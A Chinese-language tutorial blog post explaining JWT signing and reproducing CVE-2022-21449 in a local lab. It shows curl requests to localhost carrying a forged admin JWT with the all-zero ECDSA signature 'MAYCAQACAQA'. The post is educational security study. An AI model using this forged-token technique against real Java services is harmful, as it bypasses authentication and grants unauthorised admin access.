「You Shall Not Pass! 」《魔戒》
第22天要來針對 CVE-2022-21449 的實際可以被套用來攻擊的環境做架設,那攻擊的情境主要會發生在 JWT Token 上面。但首先要還是要大概了解一下 JWT Token 的機制。
JWT Token 可以用來儲存使用者的相關資訊。用法是當使用者身分驗證成功後,伺服器會核發一個 JWT Token 回給使用者。之後使用者就帶著 JWT Token 來進行驗證,如果這個 JWT Token 是有效的,那就能夠獲取資源。這樣的好處在於 JWT Token 內可以存放一些使用者資訊,而無需由伺服器進行儲存。至於要怎麼存要稍微看一下 JWT Token 的資料結構。
JWT Token 由三段 JSON 所組成,透過 Base64URLEndoe 之後使用 . 來分隔開,長相大概會是 xxxx.yyyy.zzzz。 其中 xxxx 會描敘該 JWT Token 使用的使用的密碼學演算法,yyyy 則可以包含使用者資料, zzzz 則是一個 Signature,依照 xxxx 定義的演算法來驗證 yyyy 的資料是否正確。
那為何需要驗證 yyyy 的資料呢? 因為有可能這個 JWT Token 遭受使用者惡意竄改,對中間的 yyyy 進行資料上的調整,這樣子就無法確保收到的 JWT Token 是由伺服器所發出。這時候就會用到簽章、驗章的概念。當伺服器發出 JWT Token 時已經透過私鑰做了簽章動作,當再次收到 JWT Token 就用公鑰進行驗章,確保收到 JWT Token 是合法的。
講到這邊可以練習使用 JSON Web Tokens Debugger 來試試看製作 JWT Token 的效果。
base64url=''
echo "$base64url"==== | fold -w 4 | sed '$ d' | tr -d '\n' | tr '_-' '/+' | base64 -d
步驟如下 :
curl localhost:8080 -sSL -D-
JWT=eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.R05LldFQf7kay5-8hPeJYnYD_ehxKAKFXo-t6Qt7ZKUKkQSQowOHeiZBI9ierO1q6AZlJ4GsXFsxhPrj6m4cMg
curl localhost:8080 -sSL -D- -H "Authorization: Bearer $JWT"
JWT=eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJzdWIiOiJSaWNrIEFzdGxleSIsImFkbWluIjp0cnVlLCJpYXQiOjE2NTA0NjY1MDIsImV4cCI6MTkwMDQ3MDEwMn0.MAYCAQACAQA
curl localhost:8080 -sSL -D- -H "Authorization: Bearer $JWT"
這邊最後帶著 MAYCAQACAQA 就是之前說的 (r,s) = (0,0) 的 Signature,但詳細怎麼產出來的可以參考 Encoding Neil Madden's Psychic Signatures ,但原理蠻複雜的,就交給有興趣的各位研究。這個特殊的 Signature 也是 OWASP Testing JSON Web Tokens 有特別提到需要測試的項目,所以蠻值得參考一下的。
呼~~ 這個數學弱點大概就到這邊了,主要就是透過它學習了橢圓曲線的運算、橢圓曲線的簽章運算、費馬最小定理的運用、JWT Token 的運作機制等等...,還算是一個可以學到蠻多東西的數學漏洞。